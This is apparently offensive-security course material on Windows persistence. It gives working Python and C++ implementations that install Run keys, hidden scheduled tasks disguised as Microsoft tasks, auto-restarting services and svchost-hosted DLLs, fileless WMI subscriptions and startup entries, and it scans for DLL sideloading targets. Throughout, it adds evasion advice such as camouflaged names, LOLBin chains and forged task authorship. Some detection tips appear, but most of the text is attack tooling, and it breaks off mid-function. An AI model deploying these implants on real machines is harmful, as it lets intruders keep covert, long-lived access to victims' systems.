TACTIC: TA0003
TECHNIQUE: T1547.001
T1053.005 / T1543.003
PLATFORM: WINDOWS ● ACTIVE
g3tsyst3m // course material
WINDOWS PERSISTENCE METHODS
// Registry keys, scheduled tasks, services, WMI subscriptions, and startup folders — every major persistence vector with working Python and C++ implementations and Elastic detection rules.
Registry Run KeysScheduled TasksWindows ServicesWMI SubscriptionsStartup FoldersDetection EngineeringMITRE TA0003
TACTIC TA0003 — Persistence
T1547.001 Registry Run Keys / Startup Folder
T1053.005 Scheduled Task/Job
T1543.003 Windows Service
T1546.003 WMI Event Subscription
T1547.001 Startup Folder
T1574.002 DLL Side-Loading
01
Module One
REGISTRY RUN KEYS
// The oldest trick in the book — still works on every Windows version
T1547.001Detection: HighStealth: LowReliability: High
Registry Run Keys cause Windows to execute a specified command every time a user logs in (HKCU) or any user logs in (HKLM). They've existed since Windows 95. Every modern endpoint detection product monitors them — but they remain useful for low-sophistication engagements, persistence testing, and understanding the baseline that more advanced techniques try to evade.
The four main Run key locations differ in scope and timing. Run fires on every logon, RunOnce fires once then deletes itself. HKCU requires no elevation; HKLM requires administrator.
!HKCU keys do not require elevation — any standard user can write to their own hive. HKLM keys require administrator. RunOnce entries are automatically deleted by Windows after execution (self-cleaning — useful for avoiding forensic artifacts).
RegistryKey locations — all four variants
# Per-user, every logon (no elevation required)
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Per-user, once only (auto-deleted after execution)
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# All users, every logon (elevation required)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# All users, once only (elevation required)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# 32-bit processes on 64-bit Windows (WOW64 redirect)
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
Pythonrun_key_persist.py
import winreg
import os
import sys
definstall_run_key(
value_name: str,
payload_path: str,
hive: int = winreg.HKEY_CURRENT_USER,
run_once: bool = False
) -> bool:
"""
Write a Run (or RunOnce) registry key for persistence.
Args:
value_name: Registry value name (e.g. 'WindowsUpdate')
payload_path: Full path to the executable or command
hive: winreg.HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE
run_once: If True, use RunOnce (auto-deletes after execution)
Returns:
True on success, False on failure
"""
subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"
subkey += "RunOnce"if run_once else"Run"try:
key = winreg.OpenKey(
hive, subkey,
0, winreg.KEY_SET_VALUE
)
winreg.SetValueEx(
key,
value_name,
0,
winreg.REG_SZ,
payload_path
)
winreg.CloseKey(key)
print(f"[+] Persistence installed: {subkey}\\{value_name}")
print(f" Payload: {payload_path}")
returnTrueexcept PermissionError:
print(f"[-] Access denied — HKLM requires administrator")
returnFalseexceptExceptionas e:
print(f"[-] Failed: {e}")
returnFalsedefremove_run_key(value_name: str, hive: int = winreg.HKEY_CURRENT_USER, run_once: bool = False) -> bool:
"""Remove a Run/RunOnce key by value name."""
subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"
subkey += "RunOnce"if run_once else"Run"try:
key = winreg.OpenKey(hive, subkey, 0, winreg.KEY_SET_VALUE)
winreg.DeleteValue(key, value_name)
winreg.CloseKey(key)
print(f"[+] Removed: {subkey}\\{value_name}")
returnTrueexceptExceptionas e:
print(f"[-] Remove failed: {e}")
returnFalsedefenumerate_run_keys():
"""Enumerate all Run key entries across both hives — useful for detection."""
locations = [
(winreg.HKEY_CURRENT_USER, "HKCU"),
(winreg.HKEY_LOCAL_MACHINE, "HKLM"),
]
subkeys = ["Run", "RunOnce"]
for hive, hive_name in locations:
for sk in subkeys:
path = f"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\{sk}"try:
key = winreg.OpenKey(hive, path, 0, winreg.KEY_READ)
i = 0while True:
try:
name, data, _ = winreg.EnumValue(key, i)
print(f" [{hive_name}\\{sk}] {name} = {data}")
i += 1except OSError:
break
winreg.CloseKey(key)
except PermissionError:
print(f" [{hive_name}\\{sk}] — access denied")
# ── Usage ─────────────────────────────────────────────────────if __name__ == "__main__":
payload = r"C:\Windows\System32\cmd.exe /c calc.exe"# Install under HKCU (no elevation needed)
install_run_key("WindowsDefenderService", payload)
# Enumerate all current run keys
print("\n[*] Current Run key entries:")
enumerate_run_keys()
# Cleanup
remove_run_key("WindowsDefenderService")
Defenders look for newly created Run key values with unusual paths. Common evasion approaches:
Value name camouflage — names like WindowsDefenderUpdate, MicrosoftEdgeUpdater, OneDriveSync blend in with legitimate entries
Path camouflage — binaries in C:\Windows\System32\, C:\Program Files\, or %APPDATA%\Microsoft\ are less suspicious than arbitrary temp paths
LOLBin chains — use a native Windows binary as the payload wrapper: wscript.exe C:\legit\update.vbs, mshta.exe http://..., or rundll32.exe
RunOnce for single execution — auto-cleans itself; useful for one-shot stagers that re-register from within the payload
⚠ Modern EDR (CrowdStrike, SentinelOne, Defender ATP) maintains baselines of Run key entries per machine and alerts on new additions regardless of name. Value name camouflage helps only against human reviewers in Regedit — not automated detection.
Beyond the standard Run keys, several other registry locations trigger execution on logon with lower monitoring coverage on some endpoints:
HKCU\Environment\UserInitMprLogonScript — executes a script at logon, originally for network drive mapping
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit — comma-separated list of programs launched by winlogon.exe after logon; appending a path to the existing value is stealthy
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell — specifies the shell (default: explorer.exe); replacing or appending causes execution alongside explorer
HKCU\SOFTWARE\Classes\*\shellex\ContextMenuHandlers — COM-based, fires on right-click; requires a registered COM object
💡 The Winlogon Userinit value is one of the techniques used by APT groups to survive reboots without using the obvious Run keys. Detection: Sysmon Event 13 (RegistryValueSet) with TargetObject containing "Winlogon".
02
Module Two
SCHEDULED TASKS
// Built-in task scheduler — flexible triggers, SYSTEM execution, deep hiding options
T1053.005Detection: MediumStealth: MediumReliability: High
The Windows Task Scheduler (schtasks / Task Scheduler COM API) allows any user to create tasks that execute on a flexible set of triggers: system startup, user logon, time intervals, event log entries, idle state, and more. Tasks can run as SYSTEM (with administrator access), providing privilege without an open service.
Unlike Run keys, scheduled tasks survive across reboots regardless of whether a user logs in — a task triggered on ONSTART fires even on a headless server. Tasks are stored as XML files in C:\Windows\System32\Tasks\ and as binary blobs in the registry at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks.
Pythonschtask_persist.py
import subprocess
import os
import xml.etree.ElementTree as ET
from datetime import datetime
defcreate_task_schtasks(
task_name: str,
command: str,
trigger: str = "ONLOGON",
run_as: str = "",
hidden: bool = True
) -> bool:
"""
Create a scheduled task using schtasks.exe (command-line wrapper).
trigger options: ONLOGON, ONSTART, DAILY, MINUTE (with /MO interval)
run_as: "" = current user, "SYSTEM" = NT AUTHORITY\\SYSTEM (needs admin)
hidden: /F forces creation without prompting — /RL HIGHEST sets highest privilege
"""
cmd = [
"schtasks", "/create",
"/tn", task_name,
"/tr", command,
"/sc", trigger,
"/F"# force overwrite if exists
]
if run_as == "SYSTEM":
cmd.extend(["/ru", "SYSTEM"])
elif run_as:
cmd.extend(["/ru", run_as])
if hidden:
cmd.extend(["/RL", "HIGHEST"]) # highest available privilegestry:
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
print(f"[+] Task created: {task_name}")
print(f" Trigger: {trigger}, Command: {command}")
return Trueelse:
print(f"[-] schtasks failed: {result.stderr.strip()}")
return Falseexcept Exception as e:
print(f"[-] {e}")
return Falsedefcreate_task_xml(
task_name: str,
command: str,
arguments: str = "",
trigger_type: str = "logon"
) -> bool:
"""
Create a scheduled task by writing an XML definition and importing it.
XML approach gives finer control — hidden task, custom description, etc.
trigger_type: 'logon', 'boot', 'interval' (every 10 minutes)
"""# Build the task XML — mimics legitimate Windows task format
now = datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%S")
interval_trigger = """
<CalendarTrigger>
<Repetition>
<Interval>PT10M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>{now}</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay>
</CalendarTrigger>""".format(now=now)
logon_trigger = """
<LogonTrigger><Enabled>true</Enabled></LogonTrigger>"""
boot_trigger = """
<BootTrigger><Enabled>true</Enabled></BootTrigger>"""
trigger_map = {
"logon": logon_trigger,
"boot": boot_trigger,
"interval": interval_trigger
}
trigger_xml = trigger_map.get(trigger_type, logon_trigger)
task_xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>{now}</Date>
<Description>Microsoft Windows Update Service</Description>
<Author>Microsoft Corporation</Author>
</RegistrationInfo>
<Triggers>{trigger_xml}
</Triggers>
<Principals>
<Principal id="Author">
<LogonType>InteractiveToken</LogonType>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Hidden>true</Hidden>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>{command}</Command>
<Arguments>{arguments}</Arguments>
</Exec>
</Actions>
</Task>"""
xml_file = os.path.join(os.environ.get("TEMP", "C:\\Temp"), "task_def.xml")
with open(xml_file, "w", encoding="utf-16") as f:
f.write(task_xml)
result = subprocess.run(
["schtasks", "/create", "/tn", task_name, "/xml", xml_file, "/F"],
capture_output=True, text=True
)
os.remove(xml_file) # cleanup the temp XMLif result.returncode == 0:
print(f"[+] XML task created: {task_name} (hidden={True})")
return True
print(f"[-] XML import failed: {result.stderr.strip()}")
return Falsedefdelete_task(task_name: str) -> bool:
result = subprocess.run(
["schtasks", "/delete", "/tn", task_name, "/F"],
capture_output=True, text=True
)
return result.returncode == 0# ── Usage ─────────────────────────────────────────────────────if __name__ == "__main__":
# Simple command-line approach
create_task_schtasks(
task_name=r"\Microsoft\Windows\WindowsUpdate\AutoUpdate",
command=r"C:\Windows\System32\cmd.exe",
trigger="ONLOGON",
run_as=""
)
# XML approach — hidden task, interval trigger
create_task_xml(
task_name=r"\Microsoft\Windows\Maintenance\WinSAT",
command=r"C:\Windows\System32\cmd.exe",
arguments=r"/c calc.exe",
trigger_type="boot"
)
Task names include their folder path. Nesting a malicious task inside a legitimate-looking Microsoft subfolder makes it visually identical to real Windows tasks in Task Scheduler's UI. Useful paths:
\Microsoft\Windows\WindowsUpdate\
\Microsoft\Windows\Maintenance\
\Microsoft\Windows\Application Experience\
\Microsoft\Windows\.NET Framework\
The XML definition also allows setting <Hidden>true</Hidden> which hides the task from the Task Scheduler GUI (it still shows in schtasks /query output and in the raw XML files on disk).
💡 Forensics: even "hidden" tasks are visible in C:\Windows\System32\Tasks\ as XML files and in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks. Hidden just suppresses the GUI entry.
Running a task as SYSTEM requires administrator at creation time but the task then executes with full SYSTEM privileges on every trigger. CLI approach: schtasks /create ... /ru SYSTEM. COM API approach: set the principal's LogonType to TASK_LOGON_SERVICE_ACCOUNT and UserId to SYSTEM.
SYSTEM tasks are triggered even when no user is logged in — crucial for server persistence. They also bypass UAC since SYSTEM is above the administrator elevation boundary.
⚠ SYSTEM-level tasks are significantly more visible to EDR. Prefer user-context tasks on workstations where a user is always logged in. Use SYSTEM only when necessary (server persistence, pre-logon execution).
03
Module Three
WINDOWS SERVICES
// Persistent, auto-restart, SYSTEM context — the gold standard for server persistence
T1543.003Detection: HighStealth: MediumReliability: Very High
Windows Services run as long-lived background processes managed by the Service Control Manager (SCM). They start automatically at boot, run as SYSTEM by default, and automatically restart on failure — all configurable through the service registry key at HKLM\SYSTEM\CurrentControlSet\Services\[ServiceName]. Creating a service requires administrator.
A service can be backed by a standalone executable (ImagePath) or by a DLL loaded into svchost.exe (ServiceDll in the service's Parameters key). The svchost-DLL approach is significantly stealthier because the malicious code runs inside a legitimate Windows process.
Pythonservice_persist.py
import subprocess
import winreg
import ctypes
from ctypes import wintypes
# ── Win32 service control constants ───────────────────────────
SC_MANAGER_CREATE_SERVICE = 0x0002
SERVICE_WIN32_OWN_PROCESS = 0x00000010
SERVICE_AUTO_START = 0x00000002
SERVICE_ERROR_NORMAL = 0x00000001
SERVICE_ALL_ACCESS = 0xF01FF
DELETE = 0x00010000
advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
defcreate_service(
service_name: str,
display_name: str,
binary_path: str,
description: str = "Windows System Service"
) -> bool:
"""
Create a Windows service using the Win32 SCM API via ctypes.
binary_path: full path to the service executable
Requires administrator.
"""# Open Service Control Manager
hSCM = advapi32.OpenSCManagerW(None, None, SC_MANAGER_CREATE_SERVICE)
if not hSCM:
print(f"[-] OpenSCManager failed: {ctypes.get_last_error()}")
return False# Create the service
hService = advapi32.CreateServiceW(
hSCM,
service_name, # ServiceName
display_name, # DisplayName
SERVICE_ALL_ACCESS, # DesiredAccess
SERVICE_WIN32_OWN_PROCESS, # ServiceType
SERVICE_AUTO_START, # StartType — auto on boot
SERVICE_ERROR_NORMAL, # ErrorControl
binary_path, # BinaryPathNameNone, # LoadOrderGroupNone, # TagIdNone, # DependenciesNone, # ServiceStartName (None = LocalSystem)None# Password
)
if not hSCM:
print(f"[-] CreateService failed: {ctypes.get_last_error()}")
advapi32.CloseServiceHandle(hSCM)
return False# Set description via registry (simpler than ChangeServiceConfig2)
_set_service_description(service_name, description)
advapi32.CloseServiceHandle(hService)
advapi32.CloseServiceHandle(hSCM)
print(f"[+] Service created: {service_name}")
print(f" Binary: {binary_path}")
return Truedef_set_service_description(service_name: str, desc: str):
"""Write Description value to the service registry key."""
path = f"SYSTEM\\CurrentControlSet\\Services\\{service_name}"try:
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "Description", 0, winreg.REG_SZ, desc)
winreg.CloseKey(key)
except Exception: passdefset_failure_actions(service_name: str):
"""Configure auto-restart on failure (3 attempts, 1-minute delay)."""
path = f"SYSTEM\\CurrentControlSet\\Services\\{service_name}"try:
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path, 0, winreg.KEY_SET_VALUE)
# FailureActions is a binary blob — sc.exe handles this more easily
subprocess.run(["sc", "failure", service_name,
"reset=", "86400",
"actions=", "restart/60000/restart/60000/restart/60000"],
capture_output=True)
winreg.CloseKey(key)
print(f"[+] Failure actions set — service auto-restarts on crash")
except Exception as e:
print(f"[-] set_failure_actions: {e}")
defdelete_service(service_name: str) -> bool:
result = subprocess.run(
["sc", "delete", service_name],
capture_output=True, text=True
)
ok = result.returncode == 0
print(f"[{'+'if ok else'-'}] Service deleted: {service_name}")
return ok
# ── Usage ─────────────────────────────────────────────────────if __name__ == "__main__":
create_service(
service_name="WinDefSvc",
display_name="Windows Defender Supplemental Service",
binary_path=r"C:\Windows\System32\cmd.exe /c calc.exe",
description="Provides extended protection services for Windows."
)
set_failure_actions("WinDefSvc")
# delete_service("WinDefSvc")
C++service_persist.cpp — SCM API + svchost DLL approach
// service_persist.cpp — g3tsyst3m
// Two approaches: standalone service EXE + svchost-hosted DLL
// Compile (service EXE): x86_64-w64-mingw32-g++ -o svc.exe service_persist.cpp -ladvapi32
#include <windows.h>
#include <iostream>
#include <string>
// ═══ Approach A — Standalone service executable ═══════════════boolCreatePersistentService(
const std::wstring& svcName,
const std::wstring& displayName,
const std::wstring& binaryPath
) {
SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (!hSCM) {
std::wcerr << L"[-] OpenSCManager failed: " << GetLastError() << std::endl;
return false;
}
SC_HANDLE hSvc = CreateServiceW(
hSCM,
svcName.c_str(), // ServiceName
displayName.c_str(), // DisplayName
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start on boot
SERVICE_ERROR_NORMAL,
binaryPath.c_str(), // full path to service EXE
NULL, NULL, NULL,
NULL, NULL // NULL = LocalSystem (SYSTEM)
);
if (!hSvc) {
std::wcerr << L"[-] CreateService failed: " << GetLastError() << std::endl;
CloseServiceHandle(hSCM);
return false;
}
// Configure auto-restart on failure
SC_ACTION actions[3] = {
{SC_ACTION_RESTART, 60000}, // restart after 1 minute
{SC_ACTION_RESTART, 60000},
{SC_ACTION_RESTART, 60000}
};
SERVICE_FAILURE_ACTIONSW sfa = {86400, NULL, NULL, 3, actions};
ChangeServiceConfig2W(hSvc, SERVICE_CONFIG_FAILURE_ACTIONS, &sfa);
std::wcout << L"[+] Service installed: " << svcName << std::endl;
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
return true;
}
// ═══ Approach B — svchost-hosted DLL (stealthier) ═════════════
// Register a service that loads our DLL into svchost.exe.
// The DLL must export ServiceMain() and comply with the service API.boolRegisterSvchostService(
const std::wstring& svcName,
const std::wstring& dllPath,
const std::wstring& svchostGroup = L"netsvcs"
) {
// Step 1: Create the service entry pointing to svchost
std::wstring svchostPath = LR"(C:\Windows\System32\svchost.exe -k )" + svchostGroup;
CreatePersistentService(svcName, svcName + L" Service", svchostPath);
// Step 2: Add ServiceDll under the service's Parameters subkey
std::wstring paramPath = L"SYSTEM\\CurrentControlSet\\Services\\" + svcName + L"\\Parameters";
HKEY hKey;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, paramPath.c_str(),
0, NULL, REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE, NULL, &hKey, NULL) != ERROR_SUCCESS) {
return false;
}
RegSetValueExW(hKey, L"ServiceDll", 0, REG_EXPAND_SZ,
(BYTE*)dllPath.c_str(),
(DWORD)((dllPath.size() + 1) * sizeof(wchar_t)));
RegSetValueExW(hKey, L"ServiceDllUnloadOnStop", 0, REG_DWORD,
(BYTE*)&(DWORD){1}, sizeof(DWORD));
RegCloseKey(hKey);
// Step 3: Add our service to the svchost group's membership list
// (so svchost -k netsvcs knows to load it)
std::wstring groupPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
HKEY hSvchostKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, groupPath.c_str(),
0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hSvchostKey) == ERROR_SUCCESS) {
// Read current group members, append our service name, write back// (Full implementation requires reading multi-string REG_MULTI_SZ — omitted for brevity)
RegCloseKey(hSvchostKey);
}
std::wcout << L"[+] svchost service registered: " << svcName << std::endl;
std::wcout << L" ServiceDll: " << dllPath << std::endl;
return true;
}
intmain() {
// Approach A — standalone EXE service
CreatePersistentService(
L"WinDefSvc",
L"Windows Defender Supplemental",
LR"(C:\Windows\System32\cmd.exe /c calc.exe)"
);
// Approach B — svchost-hosted DLL (comment out A first)// RegisterSvchostService(L"WinNetSvc", LR"(C:\path\to\payload.dll)");return0;
}
A standalone service binary is trivially visible: the SCM lists it, tasklist /svc shows the PID, and the binary path is in the registry. The svchost-DLL technique hides the malicious code inside svchost.exe — a process that always runs dozens of legitimate services. Incident responders must inspect the DLL load list of each svchost instance to find the malicious one.
The DLL must export ServiceMain(DWORD argc, LPTSTR* argv) and handle service control messages via a registered handler. If it doesn't, the SCM will mark the service as failed to start — a noisy indicator.
💡 To see which DLLs are loaded by each svchost.exe instance: tasklist /svc | findstr svchost to get PIDs, then Process Explorer → svchost PID → DLLs tab. Or: Get-WmiObject Win32_Service | Where-Object {$_.PathName -like "*svchost*"} | Select Name,PathName
⚠ Writing the svchost group membership (REG_MULTI_SZ) incorrectly can cause other legitimate services in that group to fail. Test in an isolated VM before deploying.
04
Module Four
WMI EVENT SUBSCRIPTIONS
// Fileless persistence — survives disk wipes that don't touch the WMI repository
T1546.003Detection: LowerStealth: HighReliability: Medium
Windows Management Instrumentation (WMI) allows creating event subscriptions that fire a command when specific system events occur. The subscription data is stored in the WMI repository (C:\Windows\System32\wbem\Repository\) — not in the registry and not as files on disk in any obvious location. This makes WMI persistence survive disk cleanup tools that focus on registry and startup locations.
A WMI permanent subscription requires three components: a Filter (what event to watch for), a Consumer (what to execute when it fires), and a Binding that ties them together. The most commonly abused consumer is CommandLineEventConsumer which runs an arbitrary command.
Pythonwmi_persist.py — WMI permanent event subscription via Python wmi module
import subprocess
import sys
defcreate_wmi_subscription(
filter_name: str,
consumer_name: str,
command: str,
trigger_event: str = "__InstanceModificationEvent",
interval_seconds: int = 60
) -> bool:
"""
Create a WMI permanent event subscription using PowerShell.
Three-part chain: EventFilter → EventConsumer → FilterToConsumerBinding
trigger_event options:
'__InstanceModificationEvent' with Win32_LocalTime — fires every N seconds
'__InstanceCreationEvent' with Win32_Process — fires on new process creation
'__InstanceDeletionEvent' with Win32_Process — fires on process termination
"""# Build PowerShell commands for each component
ps_filter = f"""
$filter = Set-WmiInstance -Namespace 'root\\subscription' -Class __EventFilter -Arguments @{{
Name = '{filter_name}';
EventNamespace = 'root\\cimv2';
QueryLanguage = 'WQL';
Query = "SELECT * FROM {trigger_event} WITHIN {interval_seconds} WHERE TargetInstance ISA 'Win32_LocalTime'";
}}
"""
ps_consumer = f"""
$consumer = Set-WmiInstance -Namespace 'root\\subscription' -Class CommandLineEventConsumer -Arguments @{{
Name = '{consumer_name}';
CommandLineTemplate = '{command}';
}}
"""
ps_binding = f"""
Set-WmiInstance -Namespace 'root\\subscription' -Class __FilterToConsumerBinding -Arguments @{{
Filter = $filter;
Consumer = $consumer;
}}
"""
full_ps = ps_filter + ps_consumer + ps_binding
try:
result = subprocess.run(
["powershell", "-NonInteractive", "-Command", full_ps],
capture_output=True, text=True
)
if result.returncode == 0:
print(f"[+] WMI subscription created:")
print(f" Filter: {filter_name}")
print(f" Consumer: {consumer_name} → {command}")
print(f" Trigger: every {interval_seconds}s")
return Trueelse:
print(f"[-] WMI subscription failed:\n{result.stderr}")
return Falseexcept Exception as e:
print(f"[-] {e}")
return Falsedefcreate_process_trigger_subscription(
filter_name: str,
consumer_name: str,
command: str,
watch_process: str = "notepad.exe"
) -> bool:
"""
Fire the command whenever a specific process is created.
Useful for context-aware persistence — only runs when a target app opens.
"""
ps = f"""
$filter = Set-WmiInstance -Namespace 'root\\subscription' -Class __EventFilter -Arguments @{{
Name = '{filter_name}';
EventNamespace = 'root\\cimv2';
QueryLanguage = 'WQL';
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = '{watch_process}'";
}}
$consumer = Set-WmiInstance -Namespace 'root\\subscription' -Class CommandLineEventConsumer -Arguments @{{
Name = '{consumer_name}';
CommandLineTemplate = '{command}';
}}
Set-WmiInstance -Namespace 'root\\subscription' -Class __FilterToConsumerBinding -Arguments @{{
Filter = $filter; Consumer = $consumer;
}}
"""
result = subprocess.run(
["powershell", "-NonInteractive", "-Command", ps],
capture_output=True, text=True
)
ok = result.returncode == 0
print(f"[{'+'if ok else'-'}] Process-trigger WMI subscription {'created'if ok else 'failed'}")
return ok
defremove_wmi_subscription(filter_name: str, consumer_name: str):
"""Remove all three WMI subscription components by name."""
ps = f"""
Get-WmiObject -Namespace 'root\\subscription' -Class __FilterToConsumerBinding | Where-Object {{$_.Filter -like '*{filter_name}*'}} | Remove-WmiObject
Get-WmiObject -Namespace 'root\\subscription' -Class __EventFilter | Where-Object {{$_.Name -eq '{filter_name}'}} | Remove-WmiObject
Get-WmiObject -Namespace 'root\\subscription' -Class CommandLineEventConsumer | Where-Object {{$_.Name -eq '{consumer_name}'}} | Remove-WmiObject
Write-Host '[+] WMI subscription removed'
"""
subprocess.run(["powershell", "-NonInteractive", "-Command", ps])
# ── Usage ─────────────────────────────────────────────────────if __name__ == "__main__":
# Time-based: fire every 60 seconds
create_wmi_subscription(
filter_name="WindowsDefFilter",
consumer_name="WindowsDefConsumer",
command=r"cmd.exe /c calc.exe",
interval_seconds=60
)
# Process-based: fire when notepad opens
create_process_trigger_subscription(
filter_name="NotepadFilter",
consumer_name="NotepadConsumer",
command=r"cmd.exe /c calc.exe",
watch_process="notepad.exe"
)
WMI subscription data is stored in the WMI Repository at C:\Windows\System32\wbem\Repository\ — a set of binary database files managed by the WMI service (winmgmt). These files are not human-readable and are not touched by most persistence-scanning tools that focus on registry and startup directories.
The repository persists across reboots. Deleting the repository files and letting Windows rebuild them (which it does automatically on next boot) is one of the more aggressive remediation approaches. The safer approach is deleting the specific subscription objects via PowerShell or WMI queries.
💡 To enumerate all WMI subscriptions on a machine: Get-WmiObject -Namespace root\subscription -Class __EventFilter and Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer. Any entries not created by legitimate software are suspicious.
Instead of CommandLineEventConsumer, WMI also provides ActiveScriptEventConsumer which executes a VBScript or JScript payload stored directly in the WMI subscription object — the script text is embedded in the WMI repository, not on disk. This is fully fileless.
The VBScript text is stored inside the WMI repository binary files — there's no .vbs file anywhere on the filesystem. Detection requires either WMI auditing (Event ID 5861 in the Microsoft-Windows-WMI-Activity/Operational log) or active hunting in the repository.
05
Module Five
STARTUP FOLDERS
// Simplest possible technique — drop a file, get execution on next logon
T1547.001Detection: Very HighStealth: LowReliability: High
Windows automatically executes any shortcut (.lnk), script, or executable placed in certain startup folder locations at user logon. This is the most obvious persistence technique and is immediately visible to defenders — but also the most straightforward to implement and the most commonly used in phishing-delivered malware due to its simplicity and reliability.
The user-specific startup folder requires no elevation. The all-users folder requires administrator. The most effective approach is dropping a .lnk shortcut pointing to the payload rather than the payload itself — this keeps the executable in a less-scrutinized location and makes the startup folder entry look more like a legitimate program shortcut.
Placing an .exe directly in the startup folder is maximally obvious — both Defender and any AV will scan it immediately on placement. A .lnk shortcut pointing to a payload elsewhere is slightly better: it splits the indicator (the shortcut in the startup folder) from the payload (the binary somewhere else).
.lnk forensics: The shortcut file contains the full target path in plaintext — trivially readable. exiftool and lnk-parser both extract all fields including MAC address of the creating machine, timestamps, volume serial number, and SID of the creating user.
Shell execute behavior: Windows uses the ShowCmd field from the .lnk — setting it to SW_MINIMIZE (7) hides the console window, reducing user visibility of the payload launching.
Script alternatives: .bat, .cmd, .vbs, .ps1 files also execute from startup folders. PowerShell scripts require execution policy bypass — prepend powershell.exe -ExecutionPolicy Bypass -File in the shortcut arguments.
💡 Detection: Sysmon Event 11 (FileCreate) with TargetFilename containing the startup folder path. Also: Windows Security Event 4688 (process creation) with ParentImage = explorer.exe and the startup folder in the image path.
06
Module Six
DLL SIDELOADING & PROXYING
// Hijack trusted process DLL search order — your payload runs under a signed Microsoft binary
T1574.002Detection: LowerStealth: Very HighReliability: Medium-High
DLL sideloading abuses the Windows DLL search order. When a trusted, signed executable launches and attempts to load a DLL that doesn't exist in the expected location, an attacker can plant a malicious DLL with the correct name in a directory that appears earlier in the search order. The legitimate process loads the attacker's DLL — and since the parent process is signed and trusted, EDR products are far less likely to flag its child activity.
The technique is particularly powerful when combined with persistence: place the target executable and the malicious DLL in a user-writable directory, then point a Run key, scheduled task, or startup folder entry at that executable. On every logon, the trusted binary launches and unknowingly loads the payload.
DLL proxying extends this by making the malicious DLL forward all exports to the original legitimate DLL — so the host application continues functioning normally while the payload runs silently. Without proxying, the host application may crash or malfunction, creating a visible indicator that something is wrong.
!The search order matters. Windows resolves DLLs in this sequence for most processes: (1) DLLs already in memory, (2) KnownDLLs registry, (3) application directory, (4) system directory (System32), (5) Windows directory, (6) current working directory, (7) PATH directories. Sideloading exploits the fact that the application directory (#3) precedes System32 (#4) — so a DLL placed next to the executable wins over the real one in System32.
Finding Vulnerable Targets
The best sideloading targets are signed binaries that ship without their own copy of a DLL they import — meaning they rely on Windows finding it elsewhere in the search path. Finding them requires ProcMon observation or static import analysis.
import os
import subprocess
import pefile # pip install pefilefrom pathlib import Path
# Known DLLs that are protected and cannot be sideloaded
# (Windows loads these from its internal cache, not the filesystem)
KNOWN_DLLS = {
"ntdll.dll", "kernel32.dll", "kernelbase.dll",
"advapi32.dll", "user32.dll", "gdi32.dll",
"shell32.dll", "ole32.dll", "oleaut32.dll",
"rpcrt4.dll", "ws2_32.dll", "msvcrt.dll",
"sechost.dll", "shlwapi.dll", "combase.dll",
}
defget_imports(exe_path: str) -> list[str]:
"""Parse PE import table and return list of imported DLL names."""try:
pe = pefile.PE(exe_path, fast_load=True)
pe.parse_data_directories(
directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_IMPORT']]
)
if not hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
return []
return [
entry.dll.decode('utf-8', errors='ignore').lower()
for entry in pe.DIRECTORY_ENTRY_IMPORT
]
except Exception:
return []
deffind_sideload_candidates(
search_dir: str,
require_signed: bool = True,
user_writable_only: bool = True
) -> list[dict]:
"""
Scan a directory for EXEs whose imported DLLs don't exist
in the same directory — a necessary condition for sideloading.
Returns a list of dicts: {exe, missing_dlls, dir_writable}
"""
candidates = []
search_path = Path(search_dir)
for exe in search_path.rglob("*.exe"):
exe_dir = exe.parent
imports = get_imports(str(exe))
missing = []
for dll in imports:
dll_lower = dll.lower()
if dll_lower in KNOWN_DLLS:
continue# skip protected KnownDLLs# DLL is missing from the executable's own directoryif not (exe_dir / dll).exists():
missing.append(dll)
if not missing:
continue# Check if the directory is user-writable
writable = _is_writable(exe_dir)
if user_writable_only and not writable:
continue
candidates.append({
"exe": str(exe),
"missing_dlls": missing,
"dir_writable": writable,
})
return candidates
def_is_writable(path: Path) -> bool:
